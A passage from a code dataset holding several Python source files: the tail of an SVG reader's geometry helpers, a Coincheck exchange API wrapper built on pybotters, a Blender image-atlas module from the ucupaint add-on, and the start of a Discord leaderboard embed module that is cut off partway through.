returns a normal to the polygon place that forms a right triple\n# with a vector along the polygon sequence and a vector backwards\n# 正常多边形是向量序列，多边形序列和向后向量\n# 发现外法向量\ndef findOuterNormal(face):\n n = len(face)\n for i in range(n):\n for j in range(i + 1, n):\n edge = face[j] - face[i]\n if edge.length() > EPSILON:\n edge = edge.normalized()\n prev_rejection = Vector()\n is_outer = True\n for k in range(n):\n if k != i and k != j:\n pt = face[k] - face[i]\n pte = pt.dot(edge)\n rejection = pt - edge * pte\n if rejection.dot(prev_rejection) < -EPSILON: # 边缘两边的点——不是外侧的点\n is_outer = False\n break\n elif rejection.length() > prev_rejection.length(): # 选择一个更大的拒绝数字稳定性\n prev_rejection = rejection\n\n if is_outer: # 找到一个外边缘，prev_rejection是面内的拒绝。生成一个正常。\n return edge.cross(prev_rejection)\n\n return False\n\n# 给定两个*共线*向量a和b，返回使b到a的系数。\n# 没有错误处理\n# 为了稳定性，取最大坐标之间的比值会更好……\n# 比率\ndef ratio(a, b):\n if b.x > EPSILON or b.x < -EPSILON:\n return a.x / b.x\n elif b.y > EPSILON or b.y < -EPSILON:\n return a.y / b.y\n else:\n return a.z / b.z\n\n# 点在三角形\ndef pointInsideTriangle(vx, next, prev, nextXprev):\n vxXprev = vx.cross(prev)\n r = ratio(vxXprev, nextXprev)\n if r < 0:\n return False\n vxXnext = vx.cross(next);\n s = -ratio(vxXnext, nextXprev)\n return s > 0 and (s + r) < 1\n","repo_name":"twosilly/SVGReader","sub_path":"SVGReader.py","file_name":"SVGReader.py","file_ext":"py","file_size_in_byte":26706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"37781801040","text":"import pandas as pd\nimport pybotters\nfrom pybotters import CoincheckDataStore\n\nfrom ..core import (\n CancelOrderAPI,\n CancelOrderAPIBuilder,\n LimitOrderAPI,\n LimitOrderAPIBuilder,\n MarketOrderAPI,\n MarketOrderAPIBuilder,\n MarketOrderAPITranslateParametersParameters,\n OrderbookFetchAPI,\n OrderbookFetchAPIBuilder,\n OrderbookItem,\n OrdersFetchAPI,\n OrdersFetchAPIBuilder,\n PositionsFetchAPI,\n PositionsFetchAPIBuilder,\n StopMarketOrderAPI,\n StopMarketOrderAPIBuilder,\n StopMarketOrderAPITranslateParametersParameters,\n TickerFetchAPI,\n TickerFetchAPIBuilder,\n WrapperFactory,\n)\nfrom .normalized_store_builder import CoincheckNormalizedStoreBuilder\nfrom .websocket_channels import CoincheckWebsocketChannels\n\n\nclass CoincheckWrapperFactory(WrapperFactory):\n __BASE_URL = \"https://coincheck.com\"\n _EXCHANGE_PROPERTIES = {\n \"base_url\": __BASE_URL,\n \"exchange\": \"coincheck\",\n }\n _DATASTORE_MANAGER = CoincheckDataStore\n _WEBSOCKET_CHANNELS = CoincheckWebsocketChannels\n _NORMALIZED_STORE_BUILDER = CoincheckNormalizedStoreBuilder\n\n __ORDER_ID_KEY = \"id\"\n\n @classmethod\n def create_limit_order_api(\n cls, client: pybotters.Client, verbose: bool = False\n ) -> LimitOrderAPI:\n return (\n LimitOrderAPIBuilder()\n .set_api_client(cls.create_api_client(client, verbose))\n .set_method(\"POST\")\n .set_order_id_key(cls.__ORDER_ID_KEY)\n .set_endpoint_generator(\"/api/exchange/orders\")\n .set_parameter_translater(\n lambda params: {\n \"pair\": params[\"symbol\"],\n \"order_type\": params[\"side\"].lower(),\n \"rate\": params[\"price\"],\n \"amount\": params[\"size\"],\n }\n )\n .set_price_size_formatter(cls.create_price_size_formatter())\n .set_price_format_keys(\"rate\")\n .set_size_format_keys(\"amount\")\n .get()\n )\n\n @classmethod\n def create_market_order_api(\n cls, client: pybotters.Client, verbose: bool = False\n ) -> MarketOrderAPI:\n return (\n MarketOrderAPIBuilder()\n .set_api_client(cls.create_api_client(client, verbose))\n .set_method(\"POST\")\n .set_order_id_key(cls.__ORDER_ID_KEY)\n .set_endpoint_generator(\"/api/exchange/orders\")\n .set_parameter_translater(\n lambda params: {\n \"pair\": params[\"symbol\"],\n \"order_type\": \"market_\" + params[\"side\"].lower(),\n **cls._amount_parameter(params),\n }\n )\n .set_price_size_formatter(cls.create_price_size_formatter())\n .set_price_format_keys(\"rate\")\n .set_size_format_keys(\"amount\")\n .get()\n )\n\n @classmethod\n def create_cancel_order_api(\n cls, client: pybotters.Client, verbose: bool = False\n ) -> CancelOrderAPI:\n return (\n CancelOrderAPIBuilder()\n .set_api_client(cls.create_api_client(client, verbose))\n .set_method(\"DELETE\")\n .set_order_id_key(cls.__ORDER_ID_KEY)\n .set_endpoint_generator(\n lambda params: f\"/api/exchange/orders/{params['order_id']}\"\n )\n .set_parameter_translater(lambda params: {})\n .get()\n )\n\n @classmethod\n def create_stop_market_order_api(\n cls, client: pybotters.Client, verbose: bool = False\n ) -> StopMarketOrderAPI:\n return (\n StopMarketOrderAPIBuilder()\n .set_api_client(cls.create_api_client(client, verbose))\n .set_method(\"POST\")\n .set_order_id_key(cls.__ORDER_ID_KEY)\n .set_endpoint_generator(\"/api/exchange/orders\")\n .set_parameter_translater(\n lambda params: {\n \"pair\": params[\"symbol\"],\n \"order_type\": \"market_\" + params[\"side\"].lower(),\n \"stop_loss_rate\": params[\"trigger\"],\n **cls._amount_parameter(params),\n }\n )\n .set_price_size_formatter(cls.create_price_size_formatter())\n .set_price_format_keys(\"rate\")\n .set_size_format_keys(\"amount\")\n .get()\n )\n\n @classmethod\n def create_ticker_fetch_api(\n cls, client: pybotters.Client, verbose: bool = False\n ) -> TickerFetchAPI:\n return (\n TickerFetchAPIBuilder()\n .set_api_client(cls.create_api_client(client, verbose))\n .set_method(\"GET\")\n .set_endpoint_generator(\"/api/ticker\")\n .set_parameter_translater(lambda params: {\"pair\": params[\"symbol\"]})\n .set_response_itemizer(\n lambda resp, data: {\n \"symbol\": resp.url.query[\"pair\"],\n \"price\": float(data[\"last\"]),\n }\n )\n .get()\n )\n\n @classmethod\n def create_orderbook_fetch_api(\n cls, client: pybotters.Client, verbose: bool = False\n ) -> OrderbookFetchAPI:\n return (\n OrderbookFetchAPIBuilder()\n .set_api_client(cls.create_api_client(client, verbose))\n .set_method(\"GET\")\n .set_endpoint_generator(lambda params: \"/api/order_books\")\n .set_parameter_translater(lambda params: {\"pair\": params[\"symbol\"]})\n .set_response_itemizer(\n lambda resp, data: {\n \"SELL\": [\n OrderbookItem(\n symbol=resp.url.query[\"pair\"],\n side=\"SELL\",\n price=float(d[0]),\n size=float(d[1]),\n )\n for d in data[\"asks\"]\n ],\n \"BUY\": [\n OrderbookItem(\n symbol=resp.url.query[\"pair\"],\n side=\"BUY\",\n price=float(d[0]),\n size=float(d[1]),\n )\n for d in data[\"bids\"]\n ],\n }\n )\n .get()\n )\n\n @classmethod\n def create_orders_fetch_api(\n cls, client: pybotters.Client, verbose: bool = False\n ) -> OrdersFetchAPI:\n return (\n OrdersFetchAPIBuilder()\n .set_api_client(cls.create_api_client(client, verbose))\n .set_method(\"GET\")\n .set_endpoint_generator(\"/api/exchange/orders/opens\")\n .set_parameter_translater(lambda params: {})\n .set_response_itemizer(\n lambda resp, data: [\n {\n \"id\": str(d[\"id\"]),\n \"symbol\": d[\"pair\"],\n \"side\": d[\"order_type\"].upper(),\n \"price\": float(d[\"rate\"])\n if d[\"rate\"]\n else float(d[\"stop_loss_rate\"]),\n \"size\": float(d[\"pending_amount\"])\n if d[\"pending_amount\"]\n else float(d[\"pending_market_buy_amount\"]),\n \"type\": \"limit\" if d[\"rate\"] else \"stop_market\",\n \"timestamp\": pd.to_datetime(d[\"created_at\"]),\n }\n for d in data[\"orders\"]\n ]\n )\n .get()\n )\n\n @classmethod\n def create_positions_fetch_api(\n cls, client: pybotters.Client, verbose: bool = False\n ) -> PositionsFetchAPI:\n return (\n PositionsFetchAPIBuilder()\n .set_api_client(cls.create_api_client(client, verbose))\n .set_method(\"GET\")\n .set_endpoint_generator(\"/api/accounts/balance\")\n .set_parameter_translater(lambda params: {})\n .set_response_itemizer(\n lambda resp, data: [\n {\n \"symbol\": k,\n \"price\": 0.0,\n \"size\": float(v),\n \"side\": \"BUY\",\n }\n for k, v in data.items()\n if k not in [\"success\"] and \"_\" not in k\n ]\n )\n .get()\n )\n\n @classmethod\n def _amount_parameter(\n cls,\n params: MarketOrderAPITranslateParametersParameters\n | StopMarketOrderAPITranslateParametersParameters,\n ) -> dict:\n return (\n {\"market_buy_amount\": params[\"size\"]}\n if params[\"side\"] == \"BUY\"\n else {\"amount\": params[\"size\"]}\n )\n","repo_name":"ko0hi/pybotters-wrapper","sub_path":"pybotters_wrapper/coincheck/wrapper_factory.py","file_name":"wrapper_factory.py","file_ext":"py","file_size_in_byte":8782,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"27"} +{"seq_id":"1905556264","text":"import bpy, time, random, numpy, re\nfrom bpy.props import *\nfrom .common import *\nfrom .subtree import *\nfrom . import BakeInfo\n\ndef is_tile_available(x, y, width, height, atlas):\n\n start_x = width * x\n end_x = start_x + width - 1\n\n start_y = height * y\n end_y = start_y + height - 1\n\n for segment in atlas.segments:\n\n segment_start_x = segment.width * segment.tile_x\n segment_end_x = segment_start_x + segment.width - 1\n\n segment_start_y = segment.height * segment.tile_y\n segment_end_y = segment_start_y + segment.height - 1\n\n if (\n ((start_x >= segment_start_x and start_x <= segment_end_x) or \n (end_x <= segment_end_x and end_x >= segment_start_x)) \n and\n ((start_y >= segment_start_y and start_y <= segment_end_y) or \n (end_y <= segment_end_y and end_y >= segment_start_y)) \n ):\n return False\n\n return True\n\ndef get_available_tile(width, height, atlas):\n atlas_img = atlas.id_data\n\n num_x = int(atlas_img.size[0] / width)\n num_y = int(atlas_img.size[1] / height)\n\n for y in range(num_y):\n for x in range(num_x):\n if is_tile_available(x, y, width, height, atlas):\n return [x, y]\n\n return []\n\ndef create_image_atlas(color='BLACK', size=8192, hdr=False, name=''):\n\n if name != '':\n name = '~' + name + ' Image Atlas'\n else: name = '~Image Atlas'\n\n if hdr:\n name += ' HDR'\n\n name = get_unique_name(name, bpy.data.images)\n\n img = bpy.data.images.new(name=name, \n width=size, height=size, alpha=True, float_buffer=hdr)\n\n if color == 'BLACK':\n img.generated_color = (0,0,0,1)\n img.colorspace_settings.name = 'Non-Color'\n elif color == 'WHITE':\n img.generated_color = (1,1,1,1)\n img.colorspace_settings.name = 'Non-Color'\n else: img.generated_color = (0,0,0,0)\n\n img.yia.is_image_atlas = True\n img.yia.color = color\n #img.yia.float_buffer = hdr\n #if hdr:\n #img.colorspace_settings.name = 'Non-Color'\n\n return img\n\ndef create_image_atlas_segment(atlas, width, height):\n\n name = get_unique_name('Segment', atlas.segments)\n\n segment = None\n\n tile = get_available_tile(width, height, atlas)\n if tile:\n segment = atlas.segments.add()\n segment.name = name\n segment.width = width\n segment.height = height\n segment.tile_x = tile[0]\n segment.tile_y = tile[1]\n\n return segment\n\ndef clear_segment(segment):\n img = segment.id_data\n atlas = img.yia\n\n if atlas.color == 'BLACK':\n col = (0.0, 0.0, 0.0, 1.0)\n elif atlas.color == 'WHITE':\n col = (1.0, 1.0, 1.0, 1.0)\n else:\n col = (0.0, 0.0, 0.0, 0.0)\n\n set_image_pixels(img, col, segment)\n\ndef clear_unused_segments(atlas):\n\n # Recolor unused segments\n for segment in atlas.segments:\n if segment.unused:\n clear_segment(segment)\n\n # Remove unused segments\n for i, segment in reversed(list(enumerate(atlas.segments))):\n if segment.unused:\n atlas.segments.remove(i)\n\ndef is_there_any_unused_segments(atlas, width, height):\n for segment in atlas.segments:\n if segment.unused and segment.width >= width and segment.height >= height:\n return True\n return False\n\ndef check_need_of_erasing_segments(yp, color='BLACK', width=1024, height=1024, hdr=False):\n\n ypup = get_user_preferences()\n images = get_yp_images(yp) if ypup.unique_image_atlas_per_yp else bpy.data.images\n\n for img in images:\n #if img.yia.is_image_atlas and img.yia.color == color and img.yia.float_buffer == hdr:\n if img.yia.is_image_atlas and img.yia.color == color and img.is_float == hdr:\n if not get_available_tile(width, height, img.yia) and is_there_any_unused_segments(img.yia, width, height):\n return img\n\n return None\n\ndef get_set_image_atlas_segment(width, height, color='BLACK', hdr=False, img_from=None, segment_from=None, yp=None):\n\n ypup = get_user_preferences()\n segment = None\n\n # Get bunch of images\n if yp and ypup.unique_image_atlas_per_yp:\n images = get_yp_images(yp)\n name = yp.id_data.name\n else:\n images = bpy.data.images\n name = ''\n\n # Serach for available image atlas\n for img in images:\n #if img.yia.is_image_atlas and img.yia.color == color and img.yia.float_buffer == hdr:\n if img.yia.is_image_atlas and img.yia.color == color and img.is_float == hdr:\n segment = create_image_atlas_segment(img.yia, width, height)\n if segment: \n #return segment\n break\n else:\n # This is where unused segments should be erased \n pass\n\n if not segment:\n if hdr: new_atlas_size = ypup.hdr_image_atlas_size\n else: new_atlas_size = ypup.image_atlas_size\n\n # If proper image atlas can't be found, create new one\n img = create_image_atlas(color, new_atlas_size, hdr, name)\n segment = create_image_atlas_segment(img.yia, width, height)\n #if segment: return segment\n\n if img_from and segment_from:\n copy_image_pixels(img_from, img, segment, segment_from)\n\n return segment\n\ndef get_entities_with_specific_segment(yp, segment):\n\n entities = []\n\n layer_ids = get_layer_ids_with_specific_segment(yp, segment)\n for li in layer_ids:\n layer = yp.layers[li]\n entities.append(layer)\n\n for layer in yp.layers:\n masks = get_masks_with_specific_segment(layer, segment)\n entities.extend(masks)\n\n return entities\n\ndef replace_segment_with_image(yp, segment, image, uv_name=''):\n\n entities = get_entities_with_specific_segment(yp, segment)\n\n for entity in entities:\n # Replace image\n source = get_entity_source(entity)\n source.image = image\n entity.segment_name = ''\n\n # Clear mapping and set new uv map\n clear_mapping(entity)\n if uv_name != '' and entity.uv_name != uv_name:\n entity.uv_name = uv_name\n\n # Make segment unused\n segment.unused = True\n\n #print(segment.name, entities)\n\n return entities\n\n#class YUVTransformTest(bpy.types.Operator):\n# bl_idname = \"node.y_uv_transform_test\"\n# bl_label = \"UV Transform Test\"\n# bl_description = \"UV Transform Test\"\n# bl_options = {'REGISTER', 'UNDO'}\n#\n# @classmethod\n# def poll(cls, context):\n# return True\n#\n# def execute(self, context):\n# T = time.time()\n#\n# ob = context.object\n#\n# #for face in ob.data.polygons:\n# # for vert_idx, loop_idx in zip(face.vertices, face.loop_indices):\n# # uv_coords = ob.data.uv_layers.active.data[loop_idx].uv\n# # #print(\"face idx: %i, vert idx: %i, uvs: %f, %f\" % (face.index, vert_idx, uv_coords.x, uv_coords.y))\n# # pass\n# \n# # Or just cycle all loops\n# for loop in ob.data.loops :\n# uv_coords = ob.data.uv_layers.active.data[loop.index].uv\n# uv_coords.x += 0.1\n# #print(uv_coords)\n#\n# print('INFO: UV Map of', ob.name, 'is updated at', '{:0.2f}'.format((time.time() - T) * 1000), 'ms!')\n#\n# return {'FINISHED'}\n\ndef get_segment_mapping(entity, segment, image):\n\n scale_x = segment.width/image.size[0]\n scale_y = segment.height/image.size[1]\n\n offset_x = scale_x * segment.tile_x\n offset_y = scale_y * segment.tile_y\n\n return scale_x, scale_y, offset_x, offset_y\n\ndef set_segment_mapping(entity, segment, image):\n\n scale_x, scale_y, offset_x, offset_y = get_segment_mapping(entity, segment, image)\n\n m1 = re.match(r'^yp\\.layers\\[(\\d+)\\]$', entity.path_from_id())\n m2 = re.match(r'^yp\\.layers\\[(\\d+)\\]\\.masks\\[(\\d+)\\]$', entity.path_from_id())\n\n if m1: mapping = get_layer_mapping(entity)\n else: mapping = get_mask_mapping(entity)\n\n if mapping:\n if is_greater_than_281():\n mapping.inputs[3].default_value[0] = scale_x\n mapping.inputs[3].default_value[1] = scale_y\n\n mapping.inputs[1].default_value[0] = offset_x\n mapping.inputs[1].default_value[1] = offset_y\n else:\n mapping.scale[0] = scale_x\n mapping.scale[1] = scale_y\n\n mapping.translation[0] = offset_x\n mapping.translation[1] = offset_y\n\nclass YNewImageAtlasSegmentTest(bpy.types.Operator):\n bl_idname = \"node.y_new_image_atlas_segment_test\"\n bl_label = \"New Image Atlas Segment Test\"\n bl_description = \"New Image Atlas segment test\"\n bl_options = {'REGISTER', 'UNDO'}\n\n #image_atlas_name : StringProperty(\n # name = 'Image Atlas',\n # description = 'Image atlas name',\n # default='')\n\n #image_atlas_coll : CollectionProperty(type=bpy.types.PropertyGroup)\n color : EnumProperty(\n name = 'Altas Base Color',\n items = (('WHITE', 'White', ''),\n ('BLACK', 'Black', ''),\n ('TRANSPARENT', 'Transparent', '')),\n default = 'BLACK')\n\n width : IntProperty(name='Width', default = 128, min=1, max=4096)\n height : IntProperty(name='Height', default = 128, min=1, max=4096)\n\n @classmethod\n def poll(cls, context):\n return True\n\n def invoke(self, context, event):\n\n # Update image atlas collections\n #self.image_atlas_coll.clear()\n #imgs = bpy.data.images\n #for img in imgs:\n # if img.yia.is_image_atlas:\n # self.image_atlas_coll.add().name = img.name\n\n return context.window_manager.invoke_props_dialog(self, width=320)\n\n def check(self, context):\n return True\n\n def draw(self, context):\n col = self.layout.column()\n #col.label('Noiss')\n #col.prop_search(self, \"image_atlas_name\", self, \"image_atlas_coll\", icon='IMAGE_DATA')\n col.prop(self, \"color\")\n col.prop(self, \"width\")\n col.prop(self, \"height\")\n\n def execute(self, context):\n\n T = time.time()\n\n #if self.image_atlas_name == '':\n # #atlas_img = create_image_atlas(color='BLACK', size=16384)\n # atlas_img = create_image_atlas(color='BLACK', size=1024)\n #else: atlas_img = bpy.data.images.get(self.image_atlas_name)\n segment = get_set_image_atlas_segment(\n self.width, self.height, self.color, \n hdr=False)\n\n atlas_img = segment.id_data\n atlas = atlas_img.yia\n\n #width = 128\n #height = 128\n\n #segment = create_image_atlas_segment(atlas, self.width, self.height)\n\n #print(segment)\n\n if segment and True:\n col = [random.random(), random.random(), random.random(), 1.0]\n\n start_x = self.width * segment.tile_x\n end_x = start_x + self.width\n\n start_y = self.height * segment.tile_y\n end_y = start_y + self.height\n\n pxs = list(atlas_img.pixels)\n #pxs = numpy.array(atlas_img.pixels) #, dtype='float16')\n\n for y in range(start_y, end_y):\n\n offset_y = atlas_img.size[0] * 4 * y\n #atlas_img.pixels[offset_y + start_x * 4 : offset_y + end_x * 4] = col * self.width\n\n for x in range(start_x, end_x):\n for i in range(3):\n pxs[offset_y + (x*4) + i] = col[i]\n pxs[offset_y + (x*4) + 3] = 1.0\n\n atlas_img.pixels = pxs\n\n # Update image editor\n update_image_editor_image(context, atlas_img)\n\n print('INFO: Segment is created at', '{:0.2f}'.format((time.time() - T) * 1000), 'ms!')\n\n return {'FINISHED'}\n\nclass YRefreshTransformedLayerUV(bpy.types.Operator):\n bl_idname = \"node.y_refresh_transformed_uv\"\n bl_label = \"Refresh Layer UV with Custom Transformation\"\n bl_description = \"Refresh layer UV with custom transformation\"\n bl_options = {'REGISTER', 'UNDO'}\n\n @classmethod\n def poll(cls, context):\n return hasattr(context, 'layer')\n\n def execute(self, context):\n\n obj = context.object\n layer = context.layer\n yp = layer.id_data.yp\n ypui = context.window_manager.ypui\n\n uv_layers = get_uv_layers(obj)\n\n image, uv_name, src_of_img, mapping, vcol = get_active_image_and_stuffs(obj, yp)\n if image:\n refresh_temp_uv(obj, src_of_img)\n update_image_editor_image(context, image)\n context.scene.tool_settings.image_paint.canvas = image\n\n #return {'FINISHED'}\n\n # Update tangent sign if height channel and tangent sign hack is enabled\n height_ch = get_root_height_channel(yp)\n if height_ch and is_tangent_sign_hacks_needed(yp):\n for uv in yp.uvs:\n refresh_tangent_sign_vcol(obj, uv.name)\n\n yp.need_temp_uv_refresh = False\n\n return {'FINISHED'}\n\nclass YBackToOriginalUV(bpy.types.Operator):\n bl_idname = \"node.y_back_to_original_uv\"\n bl_label = \"Back to Original UV\"\n bl_description = \"Transformed UV detected, your changes will lost if you edit on this UV.\\nClick this button to go back to original UV\"\n bl_options = {'REGISTER', 'UNDO'}\n\n @classmethod\n def poll(cls, context):\n return hasattr(context, 'layer')\n\n def execute(self, context):\n\n obj = context.object\n mat = get_active_material()\n objs = get_all_objects_with_same_materials(mat, selected_only=True)\n layer = context.layer\n yp = layer.id_data.yp\n ypui = context.window_manager.ypui\n\n # Get active image\n image, uv_name, active, mapping, vcol = get_active_image_and_stuffs(obj, yp)\n\n if not active: \n try:\n active = yp.layers[yp.active_layer_index]\n except Exception as e:\n print(e)\n return {'CANCELLED'}\n\n for ob in objs:\n uv_layers = get_uv_layers(ob)\n\n for uv in uv_layers:\n if uv.name == active.uv_name:\n\n if uv_layers.active != uv_layers.get(active.uv_name):\n uv_layers.active = uv_layers.get(active.uv_name)\n\n if uv.name == TEMP_UV:\n uv_layers.remove(uv)\n\n # Update tangent sign if height channel and tangent sign hack is enabled\n height_ch = get_root_height_channel(yp)\n if height_ch and is_tangent_sign_hacks_needed(yp):\n for uv in yp.uvs:\n refresh_tangent_sign_vcol(ob, uv.name)\n\n # Hide active image\n if image:\n update_image_editor_image(context, None)\n context.scene.tool_settings.image_paint.canvas = None\n\n #yp.need_temp_uv_refresh = True\n\n return {'FINISHED'}\n\nclass YConvertToImageAtlas(bpy.types.Operator):\n bl_idname = \"node.y_convert_to_image_atlas\"\n bl_label = \"Convert Image to Image Atlas\"\n bl_description = \"Convert image to image atlas (useful to avoid material texture limit)\"\n bl_options = {'REGISTER', 'UNDO'}\n\n all_images : BoolProperty(\n name = 'All Images',\n description = 'Convert all images instead of only the active one',\n default=False)\n\n @classmethod\n def poll(cls, context):\n return hasattr(context, 'image') and context.image and hasattr(context, 'entity')\n\n def execute(self, context):\n node = get_active_ypaint_node()\n yp = node.node_tree.yp\n\n if self.all_images:\n entities, images, segments = get_yp_entities_images_and_segments(yp)\n else:\n mapping = get_entity_mapping(context.entity)\n if is_transformed(mapping):\n self.report({'ERROR'}, \"Cannot convert transformed image!\")\n return {'CANCELLED'}\n\n images = [context.image]\n entities = [[context.entity]]\n segments = [context.image.yia.segments.get(context.entity.segment_name)]\n\n for i, image in enumerate(images):\n if image.yia.is_image_atlas : continue\n if image.source == 'TILED': continue # UDIM Atlas is not supported yet\n\n used_by_masks = False\n valid_entities = []\n for entity in entities[i]:\n\n # Mask will use different type of image atlas\n m = re.match(r'^yp\\.layers\\[(\\d+)\\]\\.masks\\[(\\d+)\\]$', entity.path_from_id())\n if m: used_by_masks = True\n\n # Transformed mapping on entity is not valid for conversion\n mapping = get_entity_mapping(entity)\n if not is_transformed(mapping):\n valid_entities.append(entity)\n\n if not any(valid_entities):\n continue\n\n # Image used by masks will use black image atlas instead of transparent so it will use linear color by default\n color = 'BLACK' if used_by_masks else 'TRANSPARENT'\n\n # Get segment\n new_segment = get_set_image_atlas_segment(image.size[0], image.size[1], color, hdr=image.is_float)\n\n # Copy image to segment\n ia_image = new_segment.id_data\n copy_image_pixels(image, ia_image, new_segment)\n\n # Copy bake info\n if image.y_bake_info.is_baked:\n copy_id_props(image.y_bake_info, new_segment.bake_info)\n new_segment.bake_info.use_image_atlas = True\n\n for entity in valid_entities:\n # Set image atlas to entity\n source = get_entity_source(entity)\n source.image = ia_image\n\n # Set segment name\n entity.segment_name = new_segment.name\n\n # Set image to editor\n if entity == context.entity:\n update_image_editor_image(bpy.context, ia_image)\n context.scene.tool_settings.image_paint.canvas = ia_image\n\n # Update mapping\n update_mapping(entity)\n set_uv_neighbor_resolution(entity)\n\n # Remove image if no one using it\n if image.users == 0:\n bpy.data.images.remove(image)\n\n # Refresh linear nodes\n check_yp_linear_nodes(yp)\n\n return {'FINISHED'}\n\nclass YConvertToStandardImage(bpy.types.Operator):\n bl_idname = \"node.y_convert_to_standard_image\"\n bl_label = \"Convert Image Atlas to standard image\"\n bl_description = \"Convert image atlas to standard image\"\n bl_options = {'REGISTER', 'UNDO'}\n\n all_images : BoolProperty(\n name = 'All Images',\n description = 'Convert all images instead of only the active one',\n default=False)\n\n @classmethod\n def poll(cls, context):\n return hasattr(context, 'image') and context.image and hasattr(context, 'entity')\n\n def execute(self, context):\n node = get_active_ypaint_node()\n yp = node.node_tree.yp\n\n if self.all_images:\n entities, images, segments = get_yp_entities_images_and_segments(yp)\n else:\n images = [context.image]\n segment = context.image.yia.segments.get(context.entity.segment_name)\n entities = [get_entities_with_specific_segment(yp, segment)]\n segments = [segment]\n\n image_atlases = []\n\n for i, image in enumerate(images):\n if not image.yia.is_image_atlas: continue\n\n segment = segments[i]\n if not segment: continue\n\n # Create new image based on segment\n new_image = bpy.data.images.new(name=entities[i][0].name,\n width=segment.width, height=segment.height, alpha=True, float_buffer=image.is_float)\n new_image.colorspace_settings.name = image.colorspace_settings.name\n\n # Copy the pixels\n copy_image_pixels(image, new_image, None, segment)\n\n # Copy bake info\n if segment.bake_info.is_baked:\n copy_id_props(segment.bake_info, new_image.y_bake_info)\n new_image.y_bake_info.use_image_atlas = False\n\n # Mark unused to the segment\n segment.unused = True\n\n for entity in entities[i]:\n # Set new image to entity\n source = get_entity_source(entity)\n source.image = new_image\n clear_mapping(entity)\n entity.segment_name = ''\n\n # Set image to editor\n if entity == context.entity:\n update_image_editor_image(bpy.context, new_image)\n context.scene.tool_settings.image_paint.canvas = new_image\n\n # Set UV Neighbor resolution\n set_uv_neighbor_resolution(entity)\n\n if image not in image_atlases:\n image_atlases.append(image)\n\n # Remove unused image atlas\n for ia_image in image_atlases:\n still_used = False\n for segment in ia_image.yia.segments:\n if not segment.unused:\n still_used = True\n break\n\n if not still_used:\n bpy.data.images.remove(ia_image)\n\n # Refresh linear nodes\n #check_yp_linear_nodes(yp)\n\n return {'FINISHED'}\n\nclass YImageAtlasSegments(bpy.types.PropertyGroup):\n\n name : StringProperty(\n name='Name',\n description='Name of Image Atlas Segments',\n default='')\n\n tile_x : IntProperty(default=0)\n tile_y : IntProperty(default=0)\n\n width : IntProperty(default=1024)\n height : IntProperty(default=1024)\n\n unused : BoolProperty(default=False)\n\n bake_info : PointerProperty(type=BakeInfo.YBakeInfoProps)\n\nclass YImageAtlas(bpy.types.PropertyGroup):\n name : StringProperty(\n name='Name',\n description='Name of Image Atlas',\n default='')\n\n is_image_atlas : BoolProperty(default=False)\n\n color : EnumProperty(\n name = 'Atlas Base Color',\n items = (('WHITE', 'White', ''),\n ('BLACK', 'Black', ''),\n ('TRANSPARENT', 'Transparent', '')),\n default = 'BLACK')\n\n #float_buffer : BoolProperty(default=False)\n\n segments : CollectionProperty(type=YImageAtlasSegments)\n\ndef register():\n #bpy.utils.register_class(YUVTransformTest)\n bpy.utils.register_class(YNewImageAtlasSegmentTest)\n bpy.utils.register_class(YRefreshTransformedLayerUV)\n bpy.utils.register_class(YBackToOriginalUV)\n bpy.utils.register_class(YConvertToImageAtlas)\n bpy.utils.register_class(YConvertToStandardImage)\n #bpy.utils.register_class(YImageSegmentOtherObject)\n #bpy.utils.register_class(YImageSegmentBakeInfoProps)\n bpy.utils.register_class(YImageAtlasSegments)\n bpy.utils.register_class(YImageAtlas)\n\n bpy.types.Image.yia = PointerProperty(type=YImageAtlas)\n\ndef unregister():\n #bpy.utils.unregister_class(YUVTransformTest)\n bpy.utils.unregister_class(YNewImageAtlasSegmentTest)\n bpy.utils.unregister_class(YRefreshTransformedLayerUV)\n bpy.utils.unregister_class(YBackToOriginalUV)\n bpy.utils.unregister_class(YConvertToImageAtlas)\n bpy.utils.unregister_class(YConvertToStandardImage)\n #bpy.utils.unregister_class(YImageSegmentOtherObject)\n #bpy.utils.unregister_class(YImageSegmentBakeInfoProps)\n bpy.utils.unregister_class(YImageAtlasSegments)\n bpy.utils.unregister_class(YImageAtlas)\n","repo_name":"ucupumar/ucupaint","sub_path":"ImageAtlas.py","file_name":"ImageAtlas.py","file_ext":"py","file_size_in_byte":23454,"program_lang":"python","lang":"en","doc_type":"code","stars":386,"dataset":"github-code","pt":"27"} +{"seq_id":"29153513151","text":"import discord\n\nfrom model.config import config\nfrom model.mmr_leaderboard import queryLeaderboard, countLeaderboard, querySeasonHighLeaderboard\n\n\nasync def displayLeaderboard(start, count, season=0):\n leaderboardText = config[\"leaderboard-text\"]\n embed = discord.embeds.Embed()\n if season == 0:\n embed.title = \"Leaderboard\"\n else:\n embed.title = f\"Leaderboard from Season {season}\"\n embed.description = leaderboardText\n numEntries = countLeaderboard(0)\n start = max(0, min(start, numEntries - 1))\n fieldValue = generateLeaderboardField(start, count, season=season)\n\n embed.add_field(name=\"{:d}-{:d}\".format(start + 1, start + count),\n value=fieldValue)\n return embed\n\n\ndef generateLeaderboardField(start, count, season=0):\n entries = queryLeaderboard(start, count, config[\"placement-count\"], season=season)\n index = 0\n fieldValue = \"\"\n for entry in entries:\n emoji = getEmoji(entry.elo)\n fieldValue += \"`{:d}`{:s}{:.128s} - - - ({:.2f})\\n\".format(start + 1 + index, emoji, entry.discordTag,\n entry.elo)\n index += 1\n return fieldValue\n\n\nasync def displaySeasonHighs(start, count):\n leaderboardText = config[\"season-high-leaderboard-text\"]\n embed = discord.embeds.Embed()\n embed.title = \"Season High Leaderboard\"\n embed.description = leaderboardText\n numEntries = countLeaderboard(0)\n start = max(0, min(start, numEntries - 1))\n fieldValue = generateSeasonHighsField(start, count)\n\n embed.add_field(name=\"{:d}-{:d}\".format(start + 1, start + count),\n value=fieldValue)\n return embed\n\n\ndef generateSeasonHighsField(start, count):\n entries = querySeasonHighLeaderboard(start, count, config[\"placement-count\"])\n index = 0\n fieldValue = \"\"\n for entry in entries:\n emoji = getEmoji(entry.elo)\n fieldValue += \"`{:d}`{:s}{:.128s} - - - ({:.2f})\\n\".format(start + 1 + index, emoji, entry.discordTag,\n entry.elo)\n index += 1\n return fieldValue\n\n\ndef getEmoji(elo):\n scales = config[\"mmr-scales\"]\n emoji = \"\"\n for scale in scales:\n for scaleName in scale:\n scaleObj = scale[scaleName]\n if elo >= scaleObj[\"start\"]:\n emoji = 